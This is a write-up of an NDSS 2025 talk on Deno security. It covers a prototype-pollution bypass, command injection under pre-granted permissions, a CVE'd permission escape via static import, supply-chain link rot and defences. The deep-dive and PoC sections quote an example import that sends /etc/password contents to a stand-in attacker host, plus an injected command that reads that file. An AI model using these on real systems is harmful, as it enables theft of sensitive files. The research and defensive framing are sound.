Welcome to Jurassic Park: A Comprehensive Study of Security Risks in Deno and its Ecosystem

Abdullah AlHamdan

Network and Distributed System Security (NDSS) Symposium 2025 · Day 3 · JavaScript Security

Overview

This talk, "Welcome to Jurassic Park: A Comprehensive Study of Security Risks in Deno and its Ecosystem," delivered by Abdullah AlHamdan at the NDSS Symposium, delves into the security landscape of Deno, an emerging JavaScript runtime designed with a strong emphasis on security. Deno distinguishes itself from its predecessor, NodeJS, by integrating memory-safe Rust for its core APIs, implementing a robust permission system that intercepts sensitive system calls, and supporting a decentralized software supply chain through arbitrary URL imports. The talk aims to critically evaluate whether Deno truly delivers on its promise of enhanced security, addressing the inherent complexities and vulnerabilities that arise from its unique architectural choices.

Watch on YouTube · Slides

Key moments

  1. 0:00 Introduction to Deno and paper's motivation
  2. 2:00 Deno's security model and attack surface
  3. 3:15 Prototype pollution: Deno's partial mitigation
  4. 4:30 Command injection bypasses Deno's permission system
  5. 6:00 Evaluating robustness of Deno's permission system
  6. 7:00 CVE: Escaping Deno permissions using static import

Welcome to Jurassic Park: A Comprehensive Study of Security Risks in Deno and its Ecosystem

Speakers: Abdullah AlHamdan

Conference: NDSS Symposium

YouTube: https://www.youtube.com/watch?v=w42rd4j-ED8

Overview

This talk, "Welcome to Jurassic Park: A Comprehensive Study of Security Risks in Deno and its Ecosystem," delivered by Abdullah AlHamdan at the NDSS Symposium, delves into the security landscape of Deno, an emerging JavaScript runtime designed with a strong emphasis on security. Deno distinguishes itself from its predecessor, NodeJS, by integrating memory-safe Rust for its core APIs, implementing a robust permission system that intercepts sensitive system calls, and supporting a decentralized software supply chain through arbitrary URL imports. The talk aims to critically evaluate whether Deno truly delivers on its promise of enhanced security, addressing the inherent complexities and vulnerabilities that arise from its unique architectural choices.

The motivation behind this research is to provide a thorough analysis of Deno's security model, scrutinizing how its innovative features influence the overall security posture of JavaScript and TypeScript applications. While Deno inherently boasts a smaller attack surface compared to NodeJS, the study reveals that some existing attack vectors persist, albeit requiring different mitigation strategies. More significantly, the research uncovers entirely new classes of threats stemming directly from Deno's distinctive features, such as its permission system and decentralized dependency management.

The article will explore the findings across three primary aspects of Deno's security: its general security model and attack surface, the robustness of its permission system, and the security implications of its software supply chain. By examining these areas, the talk provides crucial insights for both Deno developers and security practitioners, highlighting areas where Deno succeeds in mitigating traditional risks and where it introduces novel challenges that demand careful consideration and proactive defense strategies.

Background

▶ Watch: Introduction to Deno and paper's motivation (0:00)

Deno emerged as a modern JavaScript and TypeScript runtime, explicitly designed to address many of the security and design shortcomings inherent in NodeJS and its npm ecosystem. Its foundational principles center around a "security-first" approach, manifesting in several key architectural decisions. Firstly, Deno leverages Rust, a memory-safe language, for the implementation of its core APIs. This fundamental choice aims to eliminate an entire class of vulnerabilities related to memory corruption, which are prevalent in runtimes built on less memory-safe languages.

Secondly, Deno incorporates a sophisticated permission system. Unlike NodeJS, where applications often have broad access to system resources by default, Deno's runtime intercepts all interactions between JavaScript code and sensitive operating system functionalities (e.g., file system access, network requests, environment variable access). These permissions must be explicitly granted by the user at runtime or pre-configured, preventing malicious code from performing unauthorized operations without explicit consent.

Thirdly, Deno adopts a decentralized software supply chain. Instead of relying on a centralized package manager like npm, Deno allows developers to import third-party libraries directly from arbitrary URLs. This approach offers flexibility and aims to reduce the single point of failure associated with centralized registries. Complementing this, Deno Land, a major contributor to the Deno ecosystem, enforces package version immutability, meaning that once a package version is published, it cannot be deleted or altered by anyone, including its original author. This theoretically enhances integrity and prevents malicious updates. Additionally, Deno permits importing individual files rather than entire packages, which, in theory, should lead to smaller and more manageable dependency trees.

The motivation for this comprehensive study was to empirically evaluate whether these innovative features genuinely translate into a more secure runtime environment. The research involved a retrospective analysis of 12 years of security papers related to NodeJS and npm to identify common vulnerabilities and assess how Deno's design choices might impact them. The study sought to answer critical questions: Does Deno's smaller attack surface truly mitigate traditional JavaScript runtime attacks? How robust is its permission system against bypass attempts? And what are the unique security implications, both positive and negative, of its decentralized software supply chain? The findings, as detailed in the subsequent sections, reveal a nuanced picture where Deno offers significant security advancements but also introduces new attack surfaces and challenges that warrant careful attention.

Key Findings

▶ Watch: Prototype pollution: Deno's partial mitigation (3:15)

The comprehensive study of Deno's security model, permission system, and software supply chain yielded several critical findings, highlighting both its strengths and emerging vulnerabilities.

Firstly, the research confirmed that Deno indeed possesses a smaller attack surface compared to NodeJS, primarily due to its Rust-based implementation and inherent permission system. However, this reduced attack surface does not equate to absolute immunity from existing attack classes. The study found that while some traditional NodeJS vulnerabilities, like prototype pollution, are partially mitigated (e.g., by freezing __proto__), sophisticated bypasses still exist (e.g., using constructor.prototype). Similarly, command injection remains a viable threat if permissions are pre-defined, bypassing Deno's interactive runtime prompts.

Secondly, Deno's permission system, while lauded as a significant security enhancement, was found to have critical vulnerabilities. The research successfully demonstrated a permission escape via static import, an attack that allowed data exfiltration without explicit network permissions being granted. This finding was significant enough to be assigned a CVE, underscoring a fundamental flaw in how Deno handles static imports relative to its runtime permission checks. This attack vector highlighted that even a robust permission system can be circumvented through novel exploitation techniques.

Thirdly, the evaluation of Deno's decentralized software supply chain revealed significant stability and security concerns. An empirical study of 5,400 packages at Deno Land, comprising 10,500 unique URLs across 21 domains, exposed a concerning rate of unavailable URLs. The median number of unavailable links was 220, with specific instances showing much higher numbers. For example, on September 23rd, 283 URLs were unavailable, impacting 1,320 transitive dependencies. Another instance on March 5th recorded 276 unavailable URLs, affecting 1,500 transitive dependencies. This "amplification factor," where a single unavailable URL can impact numerous downstream dependencies, poses a substantial threat to the reliability and integrity of the Deno ecosystem. The study specifically noted that four main contributors to the Deno ecosystem experienced significant amplification factors, with 10% of their total packages being affected by these unavailable links.

In summary, Deno presents a mixed security picture: a smaller attack surface and innovative security features are offset by persistent traditional vulnerabilities, critical flaws in its permission model, and significant instability issues within its decentralized software supply chain. These findings necessitate further investigation and mitigation efforts from the Deno development team and greater caution from its users.

Technical Deep Dive

▶ Watch: Command injection bypasses Deno's permission system (4:30)

The technical deep dive into Deno's security model explored its foundational defenses and scrutinizing how well they stand up against known attack vectors, as well as uncovering novel vulnerabilities. The study was structured around three core aspects: Deno's general security model and attack surface, the robustness of its permission system, and the security of its decentralized software supply chain.

Deno Security Model and Attack Surface Evaluation

Deno's security model is built on several pillars intended to minimize its attack surface, drawing lessons from the challenges faced by NodeJS. The primary defense is the use of Rust, a memory-safe language, for implementing Deno's core APIs. This inherently reduces the risk of memory corruption vulnerabilities that are common in C/C++ based runtimes. Additionally, Deno's decentralized supply chain, which allows importing libraries directly via URLs, theoretically provides source code integrity checks as an optional feature, aiming to ensure that imported code remains untampered.

However, the research revealed that not all traditional JavaScript attacks are fully mitigated.

One prominent example is prototype pollution. In NodeJS, prototype pollution allows attackers to tamper with global object prototypes, leading to arbitrary property modification or even remote code execution. Deno attempts to mitigate this by freezing the __proto__ property on objects, making it immutable. The talk demonstrated this initial mitigation. However, the researchers discovered a bypass: by manipulating constructor.prototype, it was still possible to achieve prototype pollution. The example showed defining a user object, then modifying constructor.prototype of Object, and subsequently creating another user object, which then inherited the polluted properties. This indicates Deno is "partially affected but not yet mitigated" against this common vulnerability.

Another significant finding related to the attack surface was the persistence of command injection vulnerabilities. Deno's permission system is designed to prompt the user for sensitive operations at runtime. For instance, if an application attempts to Deno.readTextFile('/etc/password'), the Deno runtime would typically present a prompt to the user, asking for permission to read the file. However, if an application is launched with pre-defined permissions (e.g., --allow-read or --allow-run), these runtime checks are bypassed. The talk presented a code snippet where a prompt message is naïvely evaluated with user input. If the user input contains a command like Deno.run({cmd: ['cat', '/etc/password']}) and the application was started with --allow-run and --allow-read, the command would execute without any user interaction, demonstrating that command injection is still a potent threat when permissions are broadly pre-granted. This shifts the risk from being "runtime-centric" to "user-centric," where the initial permission configuration becomes paramount.

Deno Permission System Robustness Evaluation

The Deno permission system is designed as a runtime gatekeeper, intercepting all calls to critical functionalities before they reach the underlying operating system. Permissions are strictly user-granted, either through interactive prompts or explicit command-line flags. The flow typically involves the V8 engine forwarding instructions to the Deno runtime, which then performs permission checks and, if necessary, prompts the user. If approved, the request proceeds to the system calls; otherwise, execution is terminated.

The researchers focused on attempting to escape these permission checks, leading to a critical discovery: data exfiltration through static import, which was assigned a CVE. This attack is a two-round process:

  1. Preparation Round:
  • The attacker first obtains the pathname of the currently running Deno code.
  • They read the content of this running code.
  • Crucially, they also read the content of a target sensitive file, such as /etc/password, which requires --allow-read permission.
  • The attacker then crafts a malicious payload: an import statement designed to exfiltrate the sensitive content to an attacker-controlled domain. For example, import 'https://attacker.com/?data=' + encodeURIComponent(etc_password_content).
  • Finally, the attacker writes this malicious import statement back into the original, legitimate Deno source code file that was read in the first step. This step requires --allow-write permission.
  • At this stage, the Deno application only required read and write permissions to its own source file and the target sensitive file. No network permission was explicitly granted or requested.
  1. Execution Round:
  • The now-modified Deno application is executed again.
  • During the static analysis phase (before runtime execution and permission checks), Deno parses the import statement that was injected.
  • The Deno runtime resolves this import URL, which includes the exfiltrated /etc/password content.
  • Without any explicit network permissions being active or prompted for during this second run, Deno initiates a network request to https://attacker.com, effectively exfiltrating the sensitive data. The attacker's server, acting as a sniffer, can then log and parse this request.

This attack demonstrates a severe flaw where Deno's static import mechanism bypasses its own runtime permission checks for network access, allowing data exfiltration through a side channel created by the URL resolution process.

Deno Software Supply Chain Security

Deno's decentralized software supply chain, while aiming to improve upon NodeJS/npm, introduces its own set of challenges. It allows importing packages from any valid URL, and Deno Land enforces package version immutability. While this prevents malicious updates to existing package versions, the empirical study revealed significant stability issues.

The researchers conducted an empirical study on 5,400 packages from Deno Land, extracting 10,500 unique URLs distributed across 21 domains. The most striking finding was the high prevalence of unavailable URLs. The median number of unavailable links found during the study period was 220. Specific instances were even more concerning:

  • On September 23rd, 283 URLs were unavailable, leading to an "amplification factor" where these links affected 1,320 transitive dependencies.
  • On March 5th, 276 URLs were unavailable, impacting 1,500 transitive dependencies.

A significant portion of these unavailable URLs (almost 60%) had been available just the day before, indicating dynamic and unpredictable availability issues. Four major contributors to the Deno ecosystem were particularly affected, with 10% of their total packages experiencing significant amplification factors due to unavailable dependencies. This instability poses a considerable risk to the reliability, maintainability, and potentially the security of Deno applications, as critical dependencies can vanish without warning, leading to build failures or runtime errors. The recommendation arising from this finding is the need for a uniform package distribution policy to mitigate the risks associated with such a fragmented and unstable supply chain.

Demo / Proof of Concept

▶ Watch: Evaluating robustness of Deno's permission system (6:00)

While the talk did not feature a live, interactive demonstration in the traditional sense, Abdullah AlHamdan effectively presented several proofs of concept (PoCs) through detailed code snippets and step-by-step explanations within the slides. These conceptual demonstrations served to illustrate the identified vulnerabilities and attack vectors clearly.

For instance, the prototype pollution bypass was demonstrated by showing how Deno's freezing of __proto__ is circumvented by manipulating constructor.prototype. The code examples clearly outlined the initial attempt to pollute via __proto__ (which fails) and then the successful pollution using constructor.prototype, highlighting the partial mitigation.

Similarly, the command injection vulnerability was illustrated with a code example featuring a naive eval of user input. The explanation detailed how Deno's runtime permission prompt would normally prevent unauthorized file reads (e.g., /etc/password), but how this protection is bypassed if the Deno application is launched with pre-defined permissions like --allow-run and --allow-read, allowing arbitrary commands to execute without user interaction.

The most impactful demonstration was the permission escape via static import, which led to a CVE. This PoC was meticulously detailed in two rounds:

  1. Preparation: Code snippets showed how an attacker could read the current script, read a sensitive file (e.g., /etc/password), craft a malicious import statement containing the sensitive data encoded in its URL, and then overwrite the original script with this injected import statement. The permissions required for this round (--allow-read, --allow-write) were explicitly stated.
  2. Execution: The second round explained how running the now-modified script, without any network permissions, would still trigger the static import. Deno's module resolution mechanism would attempt to fetch the URL, inadvertently exfiltrating the sensitive data to attacker.com. The slides visually depicted the import line appended to the source code and the exfiltrated /etc/password content within the URL, making the attack vector clear and tangible.

These conceptual PoCs, backed by specific code examples and detailed explanations, were sufficient to demonstrate the feasibility and impact of the identified security risks, serving the purpose of a technical demonstration within the conference context.

Defensive Implications

▶ Watch: CVE: Escaping Deno permissions using static import (7:00)

The findings from this comprehensive study carry significant defensive implications for Deno users, developers, and maintainers alike. Addressing these vulnerabilities requires a multi-faceted approach, combining careful application development practices, robust platform improvements, and a critical understanding of Deno's unique security model.

For Deno Application Developers and Users:

  1. Input Validation and Sanitization: The persistence of command injection vulnerabilities, especially when permissions are pre-defined, underscores the critical need for rigorous input validation and sanitization. Developers must never directly eval user-supplied input or construct system commands using unvalidated external data. Always use safe, parameterized APIs where available.
  2. Principle of Least Privilege (PoLP): Grant Deno applications only the absolute minimum permissions required for their operation. Avoid using broad flags like --allow-all or --allow-read / --allow-run unless strictly necessary and fully understood. Rely on Deno's interactive permission prompts where possible, as they provide an additional layer of user awareness and control. Pre-defining permissions bypasses these crucial runtime checks.
  3. Prototype Pollution Awareness: While Deno partially mitigates prototype pollution, the bypass using constructor.prototype means developers must still be vigilant. Avoid merging untrusted data into objects without careful validation, especially in contexts where object prototypes could be manipulated. Consider using Object.freeze() or Object.seal() on critical objects to prevent unintended modifications.
  4. Supply Chain Scrutiny: The instability and amplification factor of unavailable URLs in the decentralized supply chain highlight a significant risk. Developers should carefully vet all third-party dependencies, ideally pinning them to specific versions and, if possible, mirroring critical dependencies locally or using tools that verify integrity. Be aware that importing individual files from arbitrary URLs means relying on the stability and security of those external hosts.
  5. Stay Updated: The discovery of a CVE-worthy permission escape via static import emphasizes the importance of keeping Deno runtime versions updated to the latest patches. This ensures that known vulnerabilities in the core platform are addressed promptly.

For Deno Maintainers and Ecosystem Contributors:

  1. Enhance Prototype Pollution Mitigation: The Deno core team should investigate further mitigations for prototype pollution, specifically addressing the constructor.prototype bypass to provide a more comprehensive defense against this class of attacks.
  2. Strengthen Permission System for Static Imports: The permission escape through static imports is a critical vulnerability. Deno's module loader needs to re-evaluate how it handles network requests for static imports, ensuring that explicit network permissions are always checked before any external resource fetching occurs, regardless of whether it's during a static analysis phase or runtime execution. This might involve stricter sandboxing during module resolution or more explicit permission requirements for import statements that resolve to external URLs.
  3. Implement a Uniform Package Distribution Policy: To address the significant instability and amplification factor observed in the decentralized supply chain, Deno Land and the broader Deno community should consider implementing a more robust and uniform package distribution policy. This could involve:
  • Official Registry: Establishing an official, well-maintained package registry with stricter policies for package hosting and availability, similar to how npm or PyPI operate, but potentially with Deno's immutability guarantees.
  • Dependency Mirroring/Caching: Encouraging or providing mechanisms for local caching or mirroring of critical dependencies to improve resilience against upstream URL unavailability.
  • Health Monitoring: Proactively monitoring the availability and integrity of widely used third-party URLs to identify and address issues before they impact a large number of downstream projects.
  1. Improve Error Handling and Visibility for Supply Chain Issues: When URLs become unavailable, Deno could provide clearer, more actionable error messages to developers, potentially suggesting alternative sources or cached versions.

By implementing these defensive measures, the Deno ecosystem can move closer to its goal of providing a truly secure runtime environment, mitigating both traditional risks and the new classes of threats introduced by its innovative architecture.

Key Takeaways

  • Smaller Attack Surface, but Not Immune: Deno, built with Rust and a permission system, indeed has a smaller attack surface than NodeJS. However, it is not entirely immune to traditional vulnerabilities like prototype pollution (which has a bypass via constructor.prototype) and command injection (if permissions are broadly predefined).
  • Permission System Success with Critical Flaws: Deno's runtime permission system is a significant security improvement, minimizing risks by intercepting sensitive calls. However, it harbors critical vulnerabilities, notably the CVE-worthy permission escape via static import, which allows data exfiltration without explicit network permissions.
  • Decentralized Supply Chain Challenges: The decentralized software supply chain, while aiming for flexibility, introduces significant instability. Empirical data showed a high number of unavailable URLs (e.g., 283 on Sept 23rd, 276 on March 5th), leading to a concerning "amplification factor" where thousands of transitive dependencies can be affected.
  • New Attack Classes Emerge: Deno's unique features, such as static imports and the interaction between predefined permissions and runtime checks, introduce new classes of attacks that require novel mitigation strategies.
  • Need for Uniform Package Policy: To combat the instability and potential security risks of the decentralized supply chain, the Deno ecosystem is recommended to adopt a more uniform and robust package distribution policy.
  • Vigilance Required from Users: Developers and users must exercise extreme caution with input validation, adhere strictly to the Principle of Least Privilege when granting permissions, and stay updated with Deno versions to patch known vulnerabilities.

About the Speaker(s)

Abdullah AlHamdan is the speaker who presented "Welcome to Jurassic Park: A Comprehensive Study of Security Risks in Deno and its Ecosystem" at the NDSS Symposium. Based on the transcript, his work focuses on researching and evaluating the security of emerging JavaScript runtimes like Deno and their associated ecosystems, drawing comparisons with established platforms like NodeJS and npm to identify both mitigated and novel security challenges.

Reviews

Dr. Zero (Offensive Security Researcher) — SOLID

Legitimate academic security research that earned a CVE and produced empirical supply chain data — this is real work, not a vendor slide deck. The static import permission escape is genuinely interesting and the supply chain availability study is methodologically sound. But the overall contribution sits comfortably in 'solid conference paper' territory rather than field-defining research.

Heather Calloway (CISO) — WEAK

Technically credible academic research that documents real vulnerabilities in Deno — including a legitimate CVE — but stops well short of the institutional and operational relevance that would make it matter to security leaders. The work is sound; the bridge to anyone who needs to act on it is nearly absent.

→ Top-rated talks at Network and Distributed System Security (NDSS) Symposium 2025

All talks from Network and Distributed System Security (NDSS) Symposium 2025